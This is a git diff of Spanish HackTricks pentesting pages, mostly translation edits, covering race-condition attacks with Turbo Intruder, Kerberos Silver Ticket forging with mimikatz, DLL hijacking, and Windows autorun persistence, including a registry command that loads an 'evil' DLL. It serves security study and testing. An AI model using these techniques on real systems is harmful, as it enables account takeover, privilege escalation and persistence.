* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -6,13 +6,13 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -85,9 +85,9 @@ php vuln.php
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando**! (_se requiere fluidez en polaco, tanto escrito como hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -97,7 +97,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡*
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -47,18 +47,18 @@ A continuación, **prepárate para enviar los marcos finales**:
Finalmente, envía los marcos retenidos. Deberías poder verificar que llegaron en un solo paquete utilizando Wireshark.
{% hint style="info" %}
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera, esto no es importante.
Ten en cuenta que esto **no funciona para archivos estáticos** en ciertos servidores, pero como los archivos estáticos no son relevantes para los ataques de condición de carrera, esto no es relevante para los ataques de CC.
{% endhint %}
Utilizando esta técnica, puedes hacer que 20-30 solicitudes lleguen al servidor simultáneamente, sin importar el jitter de la red:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adaptándose a la arquitectura objetivo**
Vale la pena señalar que muchas aplicaciones se encuentran detrás de un servidor frontal, y estos pueden decidir reenviar algunas solicitudes a través de conexiones existentes hacia el backend, y crear conexiones nuevas para otras.
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de la conexión en el lado del servidor: **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque** (esto significa enviar varias solicitudes antes de comenzar el ataque real).
Como resultado, es importante no atribuir el tiempo inconsistente de las solicitudes al comportamiento de la aplicación, como mecanismos de bloqueo que solo permiten que un solo hilo acceda a un recurso a la vez. Además, el enrutamiento de solicitudes del servidor frontal se realiza a menudo por conexión, por lo que es posible que puedas suavizar el tiempo de las solicitudes realizando un calentamiento de conexión en el lado del servidor: **enviando algunas solicitudes inconsecuentes a través de tu conexión antes de realizar el ataque** (esto es simplemente enviar varias solicitudes antes de comenzar el ataque real).
#### Mecanismos de bloqueo basados en sesiones <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
@ -71,11 +71,11 @@ Si el calentamiento de la conexión no marca ninguna diferencia, existen varias
Usando Turbo Intruder, puedes introducir un breve retraso en el lado del cliente. Sin embargo, como esto implica dividir tus solicitudes de ataque reales en varios paquetes TCP, no podrás utilizar la técnica de ataque de un solo paquete. Como resultado, en objetivos con alta variabilidad, es poco probable que el ataque funcione de manera confiable, independientemente del retraso que establezcas.
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
En su lugar, es posible que puedas resolver este problema abusando de una característica de seguridad común.
Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se envían demasiado rápido**. Al enviar un gran número de solicitudes falsas para provocar intencionalmente el límite de velocidad o de recursos, es posible que puedas causar un retraso adecuado en el lado del servidor. Esto hace que el ataque de un solo paquete sea viable incluso cuando se requiere una ejecución retrasada.
Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se envían demasiado rápido**. Al enviar una gran cantidad de solicitudes falsas para provocar intencionalmente el límite de velocidad o recursos, es posible que puedas causar un retraso adecuado en el lado del servidor. Esto hace que el ataque de un solo paquete sea viable incluso cuando se requiere una ejecución retrasada.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -83,7 +83,7 @@ Los servidores web a menudo **retrasan el procesamiento de las solicitudes si se
Para obtener más información sobre esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### Ejemplos de Ataque
#### Ejemplos de ataque
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (1 punto final)**: Puedes enviar la solicitud a **Turbo Intruder** (`Extensiones` -> `Turbo Intruder` -> `Enviar a Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas forzar por **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar **`examples/race-single-packer-attack.py`** del menú desplegable:
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
* Para **retrasar** el proceso **entre** el procesamiento **de una solicitud y otra** en 2 pasos de subestado, puedes **agregar solicitudes adicionales entre** ambas solicitudes.
* Para un RC de **multi-endpoint**, puedes comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después de ella que **explotan el estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
@ -171,11 +171,11 @@ La programación asíncrona es especialmente útil en situaciones en las que se
Una condición de carrera ocurre cuando dos o más procesos o hilos intentan acceder y modificar un recurso compartido al mismo tiempo, lo que puede llevar a resultados inesperados o inseguros. En el contexto de las pruebas de penetración web, una condición de carrera puede ser explotada para obtener acceso no autorizado o realizar acciones maliciosas.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda producir una competencia por el acceso a un recurso compartido. Esto puede ser, por ejemplo, un proceso de autenticación o una operación de actualización de datos.
Para aprovechar una condición de carrera en una aplicación web, es necesario identificar un punto de vulnerabilidad donde se pueda manipular el estado de la aplicación. Esto puede ser, por ejemplo, una operación de actualización de perfil de usuario o una transacción financiera.
Una vez identificado el punto de vulnerabilidad, se pueden realizar múltiples solicitudes simultáneas para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes concurrentes y controlar el flujo de ejecución.
Una vez identificado el punto de vulnerabilidad, se pueden realizar múltiples solicitudes simultáneas para intentar explotar la condición de carrera. Esto se puede lograr utilizando la biblioteca `asyncio` de Python para enviar solicitudes concurrentes y controlar el orden de ejecución.
Al realizar pruebas de penetración web, es importante tener en cuenta que la explotación de una condición de carrera puede tener consecuencias graves y potencialmente ilegales. Por lo tanto, siempre se debe obtener el consentimiento y seguir las leyes y regulaciones aplicables antes de realizar cualquier prueba de penetración.
Es importante tener en cuenta que la explotación de una condición de carrera es una actividad ilegal y solo debe realizarse con el consentimiento explícito del propietario del sistema. Las pruebas de penetración éticas son una forma legítima de evaluar la seguridad de un sistema, siempre y cuando se realicen dentro de los límites legales y éticos establecidos.
```python
import asyncio
import httpx
@ -211,11 +211,11 @@ Este es el tipo más básico de condición de carrera donde se presentan vulnera
Existen muchas variaciones de este tipo de ataque, que incluyen:
- Canjear una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir dinero en exceso de su saldo de cuenta
- Reutilizar una solución CAPTCHA única
- Bypass de un límite de velocidad anti-fuerza bruta
* Canjear una tarjeta de regalo varias veces
* Calificar un producto varias veces
* Retirar o transferir dinero en exceso de su saldo de cuenta
* Reutilizar una solución CAPTCHA única
* Saltarse un límite de tasa de anti-fuerza bruta
### **Subestados ocultos**
@ -227,29 +227,29 @@ El primer paso es identificar todos los puntos finales que ya sea escriben en é
Podemos usar tres preguntas clave para descartar los puntos finales que es poco probable que causen colisiones. Para cada objeto y los puntos finales asociados, pregunte:
- **¿Cómo se almacena el estado?**
* **¿Cómo se almacena el estado?**
Los datos que se almacenan en una estructura de datos persistente en el servidor son ideales para la explotación. Algunos puntos finales almacenan su estado completamente en el lado del cliente, como los restablecimientos de contraseña que funcionan enviando un JWT por correo electrónico; estos se pueden omitir de manera segura.
Las aplicaciones a menudo almacenan algún estado en la sesión del usuario. Estos a menudo están algo protegidos contra subestados, más sobre eso más adelante.
- **¿Estamos editando o agregando?**
* **¿Estamos editando o agregando?**
Las operaciones que editan datos existentes (como cambiar la dirección de correo electrónico principal de una cuenta) tienen un amplio potencial de colisión, mientras que las acciones que simplemente se agregan a los datos existentes (como agregar una dirección de correo electrónico adicional) es poco probable que sean vulnerables a algo más que ataques de límite-desbordamiento.
- **¿En qué se basa la operación?**
* **¿En qué se basa la operación?**
La mayoría de los puntos finales operan en un registro específico, que se busca utilizando una "clave", como un nombre de usuario, un token de restablecimiento de contraseña o un nombre de archivo. Para un ataque exitoso, necesitamos dos operaciones que usen la misma clave. Por ejemplo, imagine dos implementaciones plausibles de restablecimiento de contraseña:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **Buscar pistas**
En este punto, es hora de lanzar algunos ataques de RC sobre los puntos finales interesantes potenciales para tratar de encontrar resultados inesperados en comparación con los regulares. Cualquier desviación de la respuesta esperada, como un cambio en una o más respuestas, o un efecto de segundo orden como diferentes contenidos de correo electrónico o un cambio visible en su sesión, podría ser una pista que indique que algo está mal.
En este punto, es hora de lanzar algunos ataques de RC sobre los puntos finales potencialmente interesantes para tratar de encontrar resultados inesperados en comparación con los regulares. Cualquier desviación de la respuesta esperada, como un cambio en una o más respuestas, o un efecto de segundo orden como diferentes contenidos de correo electrónico o un cambio visible en su sesión, podría ser una pista que indique que algo está mal.
3. **Probar el concepto**
3. **Demostrar el concepto**
El último paso es probar el concepto y convertirlo en un ataque viable.
El último paso es demostrar el concepto y convertirlo en un ataque viable.
Cuando envíe un lote de solicitudes, es posible que descubra que un par de solicitudes tempranas desencadena un estado final vulnerable, pero las solicitudes posteriores lo sobrescriben/invalidan y el estado final no se puede explotar. En este escenario, querrá eliminar todas las solicitudes innecesarias: dos deberían ser suficientes para explotar la mayoría de las vulnerabilidades. Sin embargo, reducir a dos solicitudes hará que el ataque sea más sensible al tiempo, por lo que es posible que deba intentar el ataque varias veces o automatizarlo.
@ -279,21 +279,20 @@ La idea es **verificar una dirección de correo electrónico y cambiarla a otra
### Cambiar el correo electrónico a 2 direcciones de correo electrónico basadas en cookies
Según [este informe](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a un secuestro de esta manera porque podría **enviar el token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
Según [este informe](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a una toma de control de esta manera porque podría **enviar el token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
También puede consultar [este laboratorio](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para obtener más información al respecto.
### Estados ocultos de la base de datos / Bypass de confirmación
Si se utilizan **2 escrituras diferentes** para **agregar información** dentro de una **base de datos**, hay una pequeña porción de tiempo en la que solo se ha escrito el primer dato dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y la **contraseña** podrían ser **escritos** y luego se escribe el token para confirmar la cuenta recién creada. Esto significa que durante un breve tiempo, el **token para confirmar una cuenta es nulo**.
Si se utilizan **2 escrituras diferentes** para **agregar información** dentro de una **base de datos**, hay una pequeña porción de tiempo en la que solo se ha escrito el primer dato dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y la **contraseña** podrían ser **escritos** y luego se escribe el token para confirmar la cuenta recién creada. Esto significa que durante un breve período de tiempo, el **token para confirmar una cuenta es nulo**.
Por lo tanto, **registrarse en una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir confirmar una cuenta donde no controla el correo electrónico.
Por lo tanto, **registrarse en una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir confirmar una cuenta donde no se controla el correo electrónico.
Consulte [este laboratorio](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para ver un ejemplo.
### Bypass 2FA
### Bypass de 2FA
El siguiente pseudocódigo demuestra cómo un sitio web podría ser vulnerable a una variación de carrera de este ataque:
El siguiente pseudo-código demuestra cómo un sitio web podría ser vulnerable a una variación de carrera de este ataque:
```python
session['userid'] = user.userid
if user.mfa_enabled:

View File

@ -12,19 +12,19 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Silver ticket
El ataque de Silver ticket se basa en **crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio** (como el hash de la **cuenta de PC**). Por lo tanto, es posible **acceder a ese servicio** falsificando un TGS personalizado **como cualquier usuario**.
El ataque de Silver ticket se basa en **crear un TGS válido para un servicio una vez que se posee el hash NTLM del servicio** (como el hash de la **cuenta de PC**). Por lo tanto, es posible **obtener acceso a ese servicio** falsificando un TGS personalizado **como cualquier usuario**.
En este caso, se **posee el hash NTLM de una cuenta de computadora** (que es una especie de cuenta de usuario en AD). Por lo tanto, es posible **crear** un **ticket** para **ingresar a esa máquina** con privilegios de **administrador** a través del servicio SMB. Las cuentas de computadora restablecen sus contraseñas cada 30 días de forma predeterminada.
También se debe tener en cuenta que es posible y **preferible** (opsec) **falsificar tickets utilizando las claves AES de Kerberos (AES128 y AES256)**. Para saber cómo generar una clave AES, lee: [sección 4.4 de MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) o el [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
También se debe tener en cuenta que es posible y **preferible** (opsec) **falsificar tickets utilizando las claves AES Kerberos (AES128 y AES256)**. Para saber cómo generar una clave AES, lee: [sección 4.4 de MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) o el [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
{% code title="Linux" %}
```bash
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
@ -170,7 +170,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -6,15 +6,15 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -47,17 +47,17 @@ y mostrar solo la **Actividad del sistema de archivos**:
![](<../../.gitbook/assets/image (314).png>)
Si estás buscando **DLLs faltantes en general**, déjalo ejecutándose durante unos **segundos**.\
Si estás buscando **DLLs faltantes en general**, debes dejar esto ejecutándose durante algunos **segundos**.\
Si estás buscando una **DLL faltante dentro de un ejecutable específico**, debes configurar **otro filtro como "Nombre del proceso" "contiene" "\<nombre del ejecutable>", ejecutarlo y detener la captura de eventos**.
## Explotando Dlls faltantes
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir una dll que un proceso privilegiado intentará cargar** en algún **lugar donde se buscará**. De esta manera, podremos **escribir** una dll en una **carpeta** donde la dll se busca antes que en la carpeta donde se encuentra la **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se buscará la dll** y la **dll original no existe** en ninguna carpeta.
Para escalar privilegios, la mejor oportunidad que tenemos es poder **escribir una dll que un proceso privilegiado intentará cargar** en algún **lugar donde se buscará**. De esta manera, podremos **escribir** una dll en una **carpeta** donde la dll se busca antes que la carpeta donde se encuentra la **dll original** (caso extraño), o podremos **escribir en alguna carpeta donde se buscará la dll** y la **dll original no existe** en ninguna carpeta.
### Orden de búsqueda de Dlls
**Dentro de la** [**documentación de Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **puedes encontrar cómo se cargan específicamente las Dlls**.
En general, una **aplicación de Windows** utilizará **rutas de búsqueda predefinidas para encontrar las DLL** y comprobará estas rutas en un orden específico. El secuestro de DLL generalmente ocurre colocando una DLL maliciosa en una de estas carpetas asegurándose de que la DLL se encuentre antes que la legítima. Este problema se puede mitigar haciendo que la aplicación especifique rutas absolutas a las DLL que necesita.
En general, una **aplicación de Windows** utilizará **rutas de búsqueda predefinidas para encontrar las DLL** y verificará estas rutas en un orden específico. El secuestro de DLL generalmente ocurre colocando una DLL maliciosa en una de estas carpetas asegurándose de que la DLL se encuentre antes que la legítima. Este problema se puede mitigar haciendo que la aplicación especifique rutas absolutas a las DLL que necesita.
Puedes ver el **orden de búsqueda de DLL en sistemas de 32 bits** a continuación:
@ -228,7 +228,7 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
@ -240,7 +240,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡*
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -20,7 +20,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
## WMIC
**Wmic** se puede utilizar para ejecutar programas al **inicio**. Para ver qué binarios están programados para ejecutarse al inicio, utiliza:
**Wmic** se puede utilizar para ejecutar programas al **inicio**. Ver qué binarios están programados para ejecutarse al inicio con:
```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
@ -89,14 +89,14 @@ Las claves de registro Run y RunOnce hacen que los programas se ejecuten cada ve
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
No se crea de forma predeterminada en Windows Vista y versiones posteriores. Las entradas de la clave de ejecución del registro pueden hacer referencia directamente a programas o enumerarlos como una dependencia. Por ejemplo, es posible cargar una DLL al iniciar sesión utilizando una clave "Depend" con RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
No se crea de forma predeterminada en Windows Vista y versiones más recientes. Las entradas de la clave de ejecución del registro pueden hacer referencia directamente a programas o enumerarlos como una dependencia. Por ejemplo, es posible cargar una DLL al iniciar sesión utilizando una clave "Depend" con RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
{% hint style="info" %}
**Exploit 1**: Si puedes escribir dentro de cualquiera de los registros mencionados dentro de **HKLM**, puedes escalar privilegios cuando otro usuario inicie sesión.
**Explotación 1**: Si puedes escribir dentro de cualquiera de los registros mencionados dentro de **HKLM**, puedes escalar privilegios cuando otro usuario inicie sesión.
{% endhint %}
{% hint style="info" %}
**Exploit 2**: Si puedes sobrescribir cualquiera de los binarios indicados en cualquiera de los registros dentro de **HKLM**, puedes modificar ese binario con una puerta trasera cuando otro usuario inicie sesión y escalar privilegios.
**Explotación 2**: Si puedes sobrescribir cualquiera de los binarios indicados en cualquiera de los registros dentro de **HKLM**, puedes modificar ese binario con una puerta trasera cuando otro usuario inicie sesión y escalar privilegios.
{% endhint %}
```bash
#CMD
@ -192,12 +192,12 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVers
Si puedes sobrescribir el valor del registro o el binario, podrás elevar los privilegios.
{% endhint %}
### Configuraciones de Política
### Configuraciones de política
